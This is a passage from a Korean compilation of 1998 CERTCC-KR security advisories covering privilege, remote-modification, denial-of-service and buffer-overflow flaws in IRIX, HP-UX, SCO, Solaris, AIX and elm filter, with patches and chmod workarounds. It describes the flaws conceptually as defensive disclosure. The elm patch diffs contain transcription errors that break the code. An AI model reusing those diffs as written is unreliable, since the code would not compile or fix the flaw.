데 이 과정에서 보안문제가 발생할 수 있다. IndigoMagic desktop의 permissions 프로그

램은 사용자들이 파일과 디렉토리에 관한 접근권한 비트를 수정할 수 있게 해주는데 이 같

은 작업의 수행중 보안문제가 발생할 수 있다. 이 취약점들은 국지 사용자나 외부사용자 모

두가 공격에 이용할 수 있다.

--해결책-------------------------------------

1. 다음과 같이 syserr와 permission 프로그램에 대한 일반 사용자의 접근권한을 제거한다.

1) root 사용자가 된다.

%/bin/su -

passwd:

#

2) 프로그램의 접근권한을 바꾼다.

# /bin/chmod 500/usr/sbin/syserr

# /bin/chmod 500/usr/lib/desktop/permission

root 권한이 없는 사용자와 프로그램이 이 프로그램을 사용하는 것을 제어할 수 있다.

3) 전 단계로 돌아간다.

# exit

$

Page 952: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

2.

OS Version Vulnerable Patch # Other Actions

------ ------- ------ --------

IRIX 3.x no

IRIX 4.x no

IRIX 5.0.x yes not avail 주 1

IRIX 5.1.x yes not avail 주 1

IRIX 5.2 yes not avail 주 1

IRIX 5.3 yes 2238&2273

IRIX 6.0.x yes not avail 주 1

IRIX 6.1 yes not avail 주 1

IRIX 6.2 yes 2239

IRIX 6.3 yes 2240

IRIX 6.4 yes 2214

주 1. OS를 업그레이드하거나, 1번 항목의 임시 조치를 수행한다.

3. 패치를 구하려면 다음 주소를 참조한다.

ftp://sgigate.sgi.com

--기타--------------------------------------

http://www.certcc.or.kr/adv/ka98-12.txt

--한국정보보호센터 CERTCC-KR 침해사고 지원 안내----------------

전 화 : 02-3488-4119 삐 삐 : 015-993-4571

핸드폰 : 018-312-4119 팩 스 : 02-3488-4129

Email : [email protected]

침해사고 접수 방법은 http://www.certcc.or.kr/service.html을 참조 바람

참조 : http://www.certcc.or.kr/adv/ka98-12.txt

Page 953: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

CERTCC-KR 권고문 : KA-98-13-HPUXxlock

------------------------------------------

최초작성일 : 1998/02/05

갱신일 :

출처 : HPSBUX9711-073

--제목--------------------------------------

HP-UX VVOS xlock 취약점과 대책

--설명--------------------------------------

xlock 프로그램은 사용자의 로그인 세션을 유지한 채로 터미널을 잠글 수 있게 해 주는 프

로그램이다. xlock은 접근 권한이 없는 사용자가 시스템에 접근을 할수 있도록 허용하는 취

약점을 갖고 있다. HP9000 700/800 시리즈의 다음과 같은 운영 체제들에 문제가 있다.

VirtualVault와 PHSS_9905 패치가 설치된 HP-UX 10.24(VVOS) VirtualVault와

PHSS_9905패치와 확장 소프트웨어가 설치된 HP-UX 10.24(VVOS)

--해결책-------------------------------------

다음과 같은 패치를 적용함으로써 문제를 해결할 수 있다.

PHSS_9905가 이미 설치되어있다면 Hwelett-Packard사에서 권장하는 PHSS_12961을 적

용한다. PHSS_9905는 VirtualVault를 제공받은 Software Extension Media에 포함되어 있

다.

--기타--------------------------------------

http://www.certcc.or.kr/adv/ka98-13.txt

--한국정보보호센터 CERTCC-KR 침해사고 지원 안내----------------

전 화 : 02-3488-4119 삐 삐 : 015-993-4571

핸드폰 : 018-312-4119 팩 스 : 02-3488-4129

Email : [email protected]

침해사고 접수 방법은 http://www.certcc.or.kr/service.html을 참조 바람

참조 : http://www.certcc.or.kr/adv/ka98-13.txt

Page 954: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

CERTCC-KR 권고문 : KA-98-14-SCOscoterm

------------------------------------------

최초작성일 : 1998/02/02

갱신일 :

출처 : CERT VB-97.14

--제목--------------------------------------

SCO/usr/bin/X11/scoterm 취약점과 대책

--설명--------------------------------------

이 취약점을 이용하여 시스템에 계정을 가지고 있는 사용자가 관리자 권한을 획득할 수 있

으며, 다음 시스템에 취약점이 있다.

- SCO Open Desktop/Open Server 3.0

- SCO OpenServer 5.0

다음 시스템들에는 이 같은 취약점이 없다.

- SCO CMW+ 3.0

- SCO UnixWare 2.1

--해결책-------------------------------------

1. 아래의 주소에서 SSE 패키지를 가져다가 패치한다.

ftp://ftp.sco.COM/SSE/sse009.tar.Z (바이너리파일)

ftp://ftp.sco.COM/SSE/sse009.ltr (패치설명 파일)

패치를 즉시 하기 어려운 경우에는 관리자 권한으로 임시로 다음의 명령을 이용하여

scoterm을 실행할 수 없도록 한다.

# chmod 0 /usr/bin/X11/scoterm

--기타--------------------------------------

http://www.certcc.or.kr/adv/ka98-14.txt

--한국정보보호센터 CERTCC-KR 침해사고 지원 안내----------------

전 화 : 02-3488-4119 삐 삐 : 015-993-4571

핸드폰 : 018-312-4119 팩 스 : 02-3488-4129

Email : [email protected]

침해사고 접수 방법은 http://www.certcc.or.kr/service.html을 참조 바람

참조 : http://www.certcc.or.kr/adv/ka98-14.txt

Page 955: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

CERTCC-KR 권고문 : KA-98-15-SUNnis_cachemgr

------------------------------------------

최초작성일 : 1998/02/02

갱신일 :

출처 : CERT VB-97.15

--제목--------------------------------------

Sun nis_cachemgr 취약점과 대책

--설명--------------------------------------

NIS+ 클라이언트는 NIS+ 서버에 대한 위치 정보를 캐쉬하는 유틸리티인 nis_cachemgr를

사용하고 있다. 공격자는 이 취약점을 이용하여 공유캐쉬에 가짜 정보를 삽입할 수 있으며

다른 사용자들이 자신의 통제하에 있는 NIS+서버를 이용하게 할 수 있다.

이 취약점은 Solaris 2.6에는 존재하지 않는다.

--해결책-------------------------------------

1. 아래의 주소에서 패치를 가져다 적용한다.

ftp://sunsolvel.sun.com/pub/patches/patches.html

OS version Patch ID

SunOS 5.5.1 103612-33

SunOS 5.5.1_x86 103613-32

SunOS 5.5 103187-29

SunOS 5.5_x86 103188-29

SunOS 5.4 101973-33

SunOS 5.4_x86 101974-33

SunOS 5.3 101318-89

--기타--------------------------------------

http://www.certcc.or.kr/adv/ka98-15.txt

--한국정보보호센터 CERTCC-KR 침해사고 지원 안내----------------

전 화 : 02-3488-4119 삐 삐 : 015-993-4571

핸드폰 : 018-312-4119 팩 스 : 02-3488-4129

Email : [email protected]

침해사고 접수 방법은 http://www.certcc.or.kr/service.html을 참조 바람

참조 : http://www.certcc.or.kr/adv/ka98-15.txt

Page 956: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

CERTCC-KR 권고문 : KA-98-16-AIXrouted

------------------------------------------

최초작성일 : 1998/01/30

갱신일 :

출처 : ERS-SVA-E01-1998:001.1

--제목--------------------------------------

IBM AIX routed 데몬 취약점과 대책

--설명--------------------------------------

routed 데몬은 임의의 시스템 화일을 만들거나 파일을 수정할 수 있는 패킷을 받아들일 수

있다. 공격자는 이를 이용하여 원격지에서 공격대상 호스트의 시스템화일을 수정할 수 있

다.

--해결책-------------------------------------

1. 임시패치를 설치한다.

- ftp://testcase.software.ibm.com/aix/security.routed.tar.Z

2. 현재 IBM에서 다음의 패치를 준비하고 있다. 다음의 url에서 패치가 준비되는 대로 공식

패치를 설치한다.

- http://service.sorfware.ibm.com/aixsuppot/

*AIX 4.3.X : IX73951

*AIX 4.2.X : IX73949

*AIX 4.1.X : IX73948

*AIX 3.2.X : upgrade OS

--기타--------------------------------------

http://www.certcc.or.kr/adv/ka98-16.txt

--한국정보보호센터 CERTCC-KR 침해사고 지원 안내----------------

전 화 : 02-3488-4119 삐 삐 : 015-993-4571

핸드폰 : 018-312-4119 팩 스 : 02-3488-4129

Email : [email protected]

침해사고 접수 방법은 http://www.certcc.or.kr/service.html을 참조 바람

참조 : http://www.certcc.or.kr/adv/ka98-16.txt

Page 957: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

CERTCC-KR 권고문 : KA-98-17-HPUXcde

------------------------------------------

최초작성일 : 1998/01/21

갱신일 :

출처 : Hewlett-Packard Security Bulletin : #00074

--제목--------------------------------------

/[usr/]bin/cue의 취약점과 대책

--설명--------------------------------------

HP-UX의 800시리즈는 복수사용자들의 터미널 타입을 설정할 수 있는

CUE(Character-Terminal User Environment)를 제공한다. CUEsms X Window기반의 세

션 관리자인 CDE와 유사한 TSM(Terminal Session Manager) 기능을 제공한다.

Hewlett Packard에서는 CUE대신 CDE를 사용할 것을 권고하고 있다.

그러나, 관리자(root) 이외 일반 사용자들이 임의의 파일들을 조작할 수 있도록 하는 취약점

을 가지고 있다.

--해결책-------------------------------------

패치는 제공되지 않으며, 기본적으로 다음과 같은 방법으로 시스템에서 CUE를 수행할 수

없도록 해야 한다.

chmod 000/usr/bin/cue 혹은 rm/usr/bin/cue

기타 업체가 제공하는 HP-UX 10.X에 다음과 같은 명령어를 실행한다.

/usr/sbin/swmodify - x files="/usr/bin/cue" OS-Core.CMDS-MIN

HP-UX 9.x 및 그 이전 버전에서는 프로그램이 /bin 디렉토리에 존재한다.

또한 시스템관리자는 아래와 같이 관련되는 파일을 수정해야 한다.

/[usr/s]bin/cuegetty (remove entirely)

/etc/inittab (remove references to cue and cuegetty)

.login (remove references to cue)

/usr/lbin/cuesession (remove entirely)

/usr/[old/]newconfig/etc/cue.dm (remove entirely)

/etc/cue.dm (remove entirely)

/usr/liblnls/msg/C/cue.cat (remove entirely)

(cue.cat is message catalog for localizations.)

--기타--------------------------------------

http://www.certcc.or.kr/adv/ka98-17.txt

Page 958: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

--한국정보보호센터 CERTCC-KR 침해사고 지원 안내----------------

전 화 : 02-3488-4119 삐 삐 : 015-993-4571

핸드폰 : 018-312-4119 팩 스 : 02-3488-4129

Email : [email protected]

침해사고 접수 방법은 http://www.certcc.or.kr/service.html을 참조 바람

참조 : http://www.certcc.or.kr/adv/ka98-17.txt

Page 959: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

CERTCC-KR 권고문 : KA-98-18-HPUXland

------------------------------------------

최초작성일 : 1998/01/21

갱신일 :

출처 : Hewlett-Packard Security Bulletin : #00076

--제목--------------------------------------

HP-UX land 취약점과 대책

--설명--------------------------------------

land 프로그램은 HP-UX 시스템에 대해 서비스 거부 공격을 할 수 있는 프로그램이다.

land 프로그램은 소스 주소와 목적지 주소를 동일하게 설정한 TCP 패킷을 공격하고자 하

는 호스트로 보냄으로써 시스템 동작을 지연시킨다. 취약한 시스템은 아래와 같다.

HP9000 Series 7/800 running HP-UX release 9.x, 10.x, and 11.00

--해결책-------------------------------------

패치를 설치한다.

HP-UX release 11.00 HP9000 Series 700/800 PHNE_13692

HP-UX release 10.30 HP9000 Series 700/800 PHNE_13671

HP-UX release 10.20 HP9000 Series 800 PHNE_13468

HP-UX release 10.20 HP9000 Series 700 PHNE_13469

HP-UX release 10.10 HP9000 Series 800 PHNE_13470

HP-UX release 10.10 HP9000 Series 700 PHNE_13471

HP-UX release 10.01 HP9000 Series 800 PHNE_13472

HP-UX release 10.01 HP9000 Series 700 PHNE_13473

HP-UX release 10.00 HP9000 Series 800 PHNE_13474

HP-UX release 10.00 HP9000 Series 700 PHNE_13475

HP-UX release 9.04 HP9000 Series 800 PHNE_13476

HP-UX release 9.0[3,5,7] HP9000 Series 700 PHNE_13477

HP-UX release 9.01 HP9000 Series 700 PHNE_13478

HP-UX release 9.01 HP9000 Series 800 PHNE_13479

--기타--------------------------------------

http://www.certcc.or.kr/adv/ka98-18.txt

Page 960: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

--한국정보보호센터 CERTCC-KR 침해사고 지원 안내----------------

전 화 : 02-3488-4119 삐 삐 : 015-993-4571

핸드폰 : 018-312-4119 팩 스 : 02-3488-4129

Email : [email protected]

침해사고 접수 방법은 http://www.certcc.or.kr/service.html을 참조 바람

참조 : http://www.certcc.or.kr/adv/ka98-18.txt

Page 961: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

CERTCC-KR 권고문 : KA-98-19-elm/filter

------------------------------------------

최초작성일 : 1998/01/29

갱신일 :

출처 : KSR[T] Advisory #007

--제목--------------------------------------

UNIX elm/filter 취약점과 대책

--설명--------------------------------------

이 권고문은 filter의 두가지 취약점에 대해서 설명한다.

첫 번째 취약점은 save_embedded() 함수에 있다. 이 함수는 전자우편 메시지에서 From:과

Reply-To: 부분에 나타나는 주소들을 복사하는 기능을 수행한다. 이때, 이 함수는 5120바

이트를 512바이트 크기의 지역 변수에 복사하는 문제가 발생한다.

이것은 피해자 컴퓨터의 메일 전송 에이전트(Mail TransferAgent)가 512 바이트를 초과하

는 From: Reply-To: 헤더값을 처리하는 방식에 따라 취약점이 발생한다. 이 문제를 이용

하면 원격지 컴퓨터의 사용자가 filter를 수행하는 사용자와 동일한 권한으로 임의의 명령어

를 수행할 수 있다. 그리고, 필요한 경우 더 높은 권한을 획득하거나 메일 스풀디렉토리의

내용을 임의로 변경. 기록할 수 있게 된다.

두 번째 취약점은 get_filter_rules() 함수에 존재하는 것으로, strcpy() 함수를 이용하여 지

역변수에 필터파일(filterfile)을 복사할 때 스택 오버런이 발생 할 수 있다는 점이다.

이 두가지 취약점을 이용한 공격은 원격지에서뿐만 아니라 시스템내부에서도 공격이 가능하

다.

elm-2.4ME+37에 포함된 filter는 save_embedded_address()에 대한 취약점은 가지고 있

으나, get_filter_rules()에 대한 취약점은 가지고 있지 않다. elm 2.5에는 filter가 포함되지

않을 것이며, 현재 지원 계획이 없다. Elm 그룹에서는 filter를 사용하지 말 것을 권유하고

있다.

--해결책-------------------------------------

다음의 Patch/Fix를 설치한다.

-*- Begin elm 2.4 filter patch -*-

diff -u filter/filter.c filter.net/filter.c

--- filter/filter.c Tue Feb 4 09:13:02 1997

+++ filter.new/filter.c Tue Feb 4 09:17:38 1997

Page 962: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

@@ -429,7 +429,7 @@

**/

static int processed_a_reply_to = 0;

- char address[LONG)STRING];

+ char address[MAX_LINE_LEN+1];

regist int i, j = 0;

/** first let's extract the address from this line.. **/

diff -u filter/parse.c filter.new/parse.c

--- filter/parse.c Tue Feb 4 09:13:33 1997

--- filter.new/parse.c Tue Feb 4 09:17:38 1997

@@ -172,7 +172,8 @@

struct condition_rec

*cond, *newcond;

- strcpy(filename, filter-file);

+ memset(filename, 0x0, SLEN);

+ strmcpy(filename, filter-file, (SLEN-1));

if ((fd = fopen (filename, "r")) == NULL0{

if(outfd ! = NELL)

-*- end elm 2.4 filter patch -*-

-*- begin elm2.4+ME filter patch -*-

--- filter/filter.c TUE Feb 4 09:13:02 1997

+++ filter.new/filter.c TUE Feb 4 09:17:38 1997

@@ -429,7 +429,7 @@

**/

static int processed_a_reply_to = 0;

- char address[LONG_STRING];

+ char address[MAX_LINE_LEN+1];

regist int i, j = 0;

/** first let's extract the address from this line.. **/

-*- end elm2.4+ME filter patch -*-

--기타--------------------------------------

http://www.certcc.or.kr/adv/ka98-19.txt

Page 963: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

--한국정보보호센터 CERTCC-KR 침해사고 지원 안내----------------

전 화 : 02-3488-4119 삐 삐 : 015-993-4571

핸드폰 : 018-312-4119 팩 스 : 02-3488-4129

Email : [email protected]

침해사고 접수 방법은 http://www.certcc.or.kr/service.html을 참조 바람

참조 : http://www.certcc.or.kr/adv/ka98-19.txt